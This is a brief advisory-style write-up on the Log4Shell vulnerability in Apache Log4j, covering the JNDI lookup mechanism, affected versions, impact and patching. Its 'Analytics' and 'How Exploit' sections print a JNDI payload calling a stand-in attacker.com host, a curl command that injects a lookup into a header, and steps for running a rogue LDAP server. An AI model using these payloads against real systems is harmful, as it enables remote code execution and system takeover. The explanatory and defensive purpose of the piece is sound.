Listen to this Post
CVE-2021-44228, known as Log4Shell, is a critical vulnerability in the Apache Log4j library. It enables remote code execution via improper JNDI lookup handling in logged messages. When Log4j processes input containing a JNDI lookup, such as ${jndi:ldap://attacker.com/exploit}, it resolves the lookup from an external source. This occurs because the library’s message lookup feature interprets data in logs as commands. Attackers can inject malicious strings into log entries via various inputs like HTTP headers or user parameters. The vulnerability affects log4j-core versions 2.0-beta9 to 2.14.1. Upon logging a crafted string, Log4j performs a JNDI lookup to an LDAP server controlled by the attacker. The server can respond with a serialized Java object that includes arbitrary code. This object is deserialized on the victim’s system, leading to code execution. The exploit leverages the default configurations that allow JNDI lookups without restrictions. This vulnerability is particularly severe due to its ease of exploitation and widespread use of Log4j in applications. It can be triggered through multiple vectors, including web requests, without authentication. Successful exploitation grants attackers full control over the affected system. Mitigation requires disabling message lookups or applying patches. The vulnerability highlights risks in logging libraries and dynamic code loading.
Platform: Apache Log4j
Version: 2.0-beta9 2.14.1
Vulnerability: Remote Code Execution
Severity: Critical
Date: December 2021
Prediction: Patched December 2021
What Undercode Say:
Analytics
Check for Log4j usage: grep -r “log4j” /app
Test for vulnerability: curl -H “User-Agent: \${jndi:ldap://test}” http://target
Exploit payload: ${jndi:ldap://attacker.com/exp}
Scan with tool: java -jar log4j-scan.jar –url http://target
How Exploit:
Inject malicious JNDI strings into loggable inputs like HTTP headers. Set up rogue LDAP server to deliver payload. Trigger lookup via application logging. Execute arbitrary code on victim system.
Protection from this CVE
Upgrade to Log4j 2.16.0. Disable message lookups. Use security filters. Monitor network traffic. Apply vendor patches.
Impact:
Full system compromise. Data theft. Service disruption. Widespread attacks. High risk environment.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: www.cve.org
Extra Source Hub:
Undercode
